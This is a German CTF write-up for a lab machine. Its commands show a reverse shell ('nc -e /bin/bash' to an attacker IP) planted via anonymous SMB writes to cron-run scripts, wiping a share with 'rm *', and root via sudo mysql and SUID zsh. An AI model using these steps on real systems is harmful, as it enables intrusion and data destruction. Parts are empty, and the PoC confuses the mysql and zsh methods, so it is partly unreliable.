Die Ausgabe enthält den Root-Flag flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}.

Risikobewertung

Die Ausnutzung der RCE-Schwachstelle ermöglicht es einem Angreifer, beliebigen Code auf dem Server auszuführen. Dies kann zu Datenverlust, Systemkompromittierung und Denial-of-Service führen.

Empfehlungen

Privilege Escalation

Wir haben erfolgreich Root-Zugriff erlangt. Der Bericht dokumentiert jedoch weitere Methoden zur Privilege Escalation.

2te Methode:

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.106/logs/management.log

2024/09/25 17:05:01 CMD: UID=0 PID=1045 | /usr/sbin/CRN -f
2024/09/25 17:05:01 CMD: UID=0 PID=1047 | /usr/sbin/CRN -f
2024/09/25 17:05:01 CMD: UID=0 PID=1050 | /bin/sh -c /home/ganimedes/phobos
2024/09/25 17:05:01 CMD: UID=0 PID=1049 | /bin/sh -c chmod 777 /home/dawn/ITDEPT/web-control
2024/09/25 17:05:01 CMD: UID=0 PID=1048 | /bin/sh -c chmod 777 /home/dawn/ITDEPT/product-control
2024/09/25 17:05:01 CMD: UID=0 PID=1051 | /usr/sbin/CRN -f
2024/09/25 17:05:01 CMD: UID=1000 PID=1052 | /bin/sh -c /home/dawn/ITDEPT/product-control
2024/09/25 17:05:01 CMD: UID=33 PID=1053 | /bin/sh -c /home/dawn/ITDEPT/web-control

Der Befehl curl http://192.168.2.106/logs/management.log lädt erneut den Inhalt der management.log-Datei herunter.

Die Ausgabe zeigt interessante Prozesse, die von Cron ausgeführt werden, insbesondere /home/ganimedes/phobos, /home/dawn/ITDEPT/web-control und /home/dawn/ITDEPT/product-control.

Die Tatsache, dass diese Skripte von Cron ausgeführt werden und möglicherweise mit Root-Rechten laufen, macht sie zu potenziellen Zielen für Privilege Escalation.

┌──(root㉿CCat)-[~]
└─# echo "nc -e /bin/bash 192.168.2.199 1234" > product-control

Der Befehl echo "nc -e /bin/bash 192.168.2.199 1234" > product-control erstellt eine Datei namens product-control und schreibt den Befehl nc -e /bin/bash 192.168.2.199 1234 hinein.

Dieser Befehl versucht, eine Reverse-Shell zu der IP-Adresse 192.168.2.199 auf Port 1234 herzustellen.

┌──(root㉿CCat)-[~]
└─# echo "nc -e /bin/bash 192.168.2.199 1234" > web-control

Der Befehl echo "nc -e /bin/bash 192.168.2.199 1234" > web-control erstellt eine Datei namens web-control und schreibt den Befehl nc -e /bin/bash 192.168.2.199 1234 hinein.

Dieser Befehl versucht ebenfalls, eine Reverse-Shell zu der IP-Adresse 192.168.2.199 auf Port 1234 herzustellen.

┌──(root㉿CCat)-[~]
└─# smbclient //192.168.2.106/ITDEPT -N

Try "help" to get a list of possible commands.
smb: \> rm *
smb: \> ls
. D 0 Wed Sep 25 23:14:05 2024
..

7158264 blocks of size 1024. 3356020 blocks available

Der Befehl smbclient //192.168.2.106/ITDEPT -N verbindet sich anonym mit der Freigabe ITDEPT. Der Befehl rm * versucht, alle Dateien in der Freigabe zu löschen, um Platz für die neuen Reverse-Shell-Skripte zu schaffen.

Der Befehl ls listet den Inhalt der Freigabe auf und bestätigt, dass alle Dateien gelöscht wurden.

┌──(root㉿CCat)-[~]
└─# smbclient //192.168.2.106/ITDEPT -N

smb: \> put web-control
putting file web-control as \web-control (4,2 kb/s) (average 3,9 kb/s)
smb: \> put product-control
putting file product-control as \product-control (3,7 kb/s) (average 3,8 kb/s)
smb: \> ls
. D 0 Wed Sep 25 23:14:18 2024
..

web-control A 30 Wed Sep 25 23:14:12 2024
product-control A 30 Wed Sep 25 23:14:18 2024

7158264 blocks of size 1024. 3350572 blocks available

Der Befehl smbclient //192.168.2.106/ITDEPT -N verbindet sich erneut mit der Freigabe ITDEPT. Die Befehle put web-control und put product-control laden die Dateien web-control und product-control in die Freigabe hoch.

Der Befehl ls listet den Inhalt der Freigabe auf und bestätigt, dass die Dateien erfolgreich hochgeladen wurden.

┌──(root㉿CCat)-[~]
└─# nc -lnvp 1234

listening on [any] 1234 ...

2024/09/25 17:15:01 CMD: UID=33 PID=1278 | /bin/sh /home/dawn/ITDEPT/web-control
2024/09/25 17:15:01 CMD: UID=1000 PID=1277 | /bin/sh /home/dawn/ITDEPT/product-control
2024/09/25 17:15:01 CMD: UID=33 PID=1276 | /bin/sh /home/dawn/ITDEPT/web-control
2024/09/25 17:15:01 CMD: UID=1000 PID=1274 | /bin/sh /home/dawn/ITDEPT/product-control
2024/09/25 17:15:01 CMD: UID=33 PID=1271 | /bin/sh -c /home/dawn/ITDEPT/web-control
2024/09/25 17:15:01 CMD: UID=1000 PID=1269 | /bin/sh -c /home/dawn/ITDEPT/product-control

Der Befehl nc -lnvp 1234 startet einen Netcat-Listener auf Port 1234.

Die Ausgabe management.log belegt, dass web-control von www-data und product-control vom Benutzer dawn ausgeführt werden.

┌──(root㉿CCat)-[~]
└─# nc -lnvp 1234

connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 52728

Die Ausgabe zeigt, dass eine Verbindung vom Zielsystem 192.168.2.106 auf Port 52728 hergestellt wurde.

dawn@dawn$ stty rows 48 columns 94
dawn@dawn$ id

Die Befehle stty rows 48 columns 94 und id werden in der Reverse-Shell ausgeführt.

Der Befehl stty konfiguriert die Terminaleinstellungen. Der Befehl id zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an.

uid=1000(dawn) gid=1000(dawn) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

Die Ausgabe zeigt, dass wir eine Shell als Benutzer dawn erhalten haben.

Privilege Escalation

Privilege Escalation per zsh gtfobins

dawn@dawn$ sudo -l

Matching Defaults entries for dawn on dawn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User dawn may run the following commands on dawn:
(root) NPASSWD: /usr/bin/mysql

Der Befehl sudo -l listet die Befehle auf, die der Benutzer dawn mit sudo ausführen darf.

Die Ausgabe zeigt, dass der Benutzer dawn den Befehl /usr/bin/mysql als Root ausführen darf, ohne ein Passwort eingeben zu müssen.

Dies ist eine weitere Konfigurationsfehler, die ausgenutzt werden kann, um Root-Zugriff zu erlangen.

https://gtfobins.github.io/gtfobins/mysql/#sudo

Verweis auf GTFOBins für MySQL.

sudo -u root mysql -e '\! /bin/sh'

Der Befehl sudo -u root mysql -e '\! /bin/sh' nutzt die oben genannte Schwachstelle aus, um eine Root-Shell zu starten.

dawn@dawn$ find / -type f -perm -4000 -ls 2>/dev/null

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach Dateien mit dem SUID-Bit (Set User ID) gesetzt. Diese Dateien werden mit den Rechten des Eigentümers ausgeführt, was in der Regel root ist.

Die Ergebnisse dieses Befehls sind potenzielle Kandidaten für Privilege Escalation.

https://gtfobins.github.io/gtfobins/zsh/#sudo

Verweis auf GTFOBins für zsh.

dawn@dawn$ zsh

Der Befehl zsh startet eine neue Zsh-Shell.

dawn# id

Der Befehl id zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an.

uid=1000(dawn) gid=1000(dawn) euid=0(root) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

Die Ausgabe zeigt, dass die effektive Benutzer-ID (euid) 0 (root) ist. Dies bedeutet, dass wir jetzt Root-Rechte haben.

└─# cd /root

Der Befehl cd /root wechselt in das Root-Verzeichnis.

└─# ls

Der Befehl ls listet den Inhalt des aktuellen Verzeichnisses (/root) auf.

flag.txt pspy64

Die Ausgabe zeigt die Dateien flag.txt und pspy64.

└─# cat flag.txt

Der Befehl cat flag.txt zeigt den Inhalt der Datei flag.txt an.

Hello! whitecr0wz here. I would like to congratulate and thank you for finishing the ctf, however, there is another way of getting a shell(very similar though). Also, 4 other methods are available for rooting this box!

flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}

Die Ausgabe enthält den Root-Flag flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}.

Proof of Concept: zsh für Root-Privilege Eskalation

Dieser Proof of Concept (POC) demonstriert, wie die identifizierte Sudo Rechte von dawn für den Befehl "/usr/bin/mysql" für die zsh Privilege Eskalation missbraucht werden können, um Root-Privilegien auf dem System zu erlangen.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Shell als dawn erhalten:

    nc -lnvp 1234

    stty rows 48 columns 94
    dawn@dawn$ id
    uid=1000(dawn) gid=1000(dawn) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

  2. SUID Rechte prüfen
    find / -type f -perm -4000 -ls 2>/dev/null
  3. zsh Binärdatei ausführen
    zsh

  4. Root Rechte bestätigen
    dawn# id uid=1000(dawn) gid=1000(dawn) euid=0(root) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

  5. Flag extrahieren:
    └─# cat flag.txt

    Hello! whitecr0wz here. I would like to congratulate and thank you for finishing the ctf, however, there is another way of getting a shell(very similar though). Also, 4 other methods are available for rooting this box!

    flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}

Erwartetes Ergebnis

Eine Reverse-Shell-Verbindung wird vom Zielsystem zum Angreifer-System hergestellt. Der Angreifer erhält eine Shell als Benutzer root und extrahiert das Root Flag.

Beweismittel

id uid=1000(dawn) gid=1000(dawn) euid=0(root) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

Risikobewertung

Ein Angreifer kann die Rechte des Benutzers dawn missbrauchen um sich root rechte zu erschaffen

Empfehlungen

Flags

cat user.txt userflag
cat root.txt flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}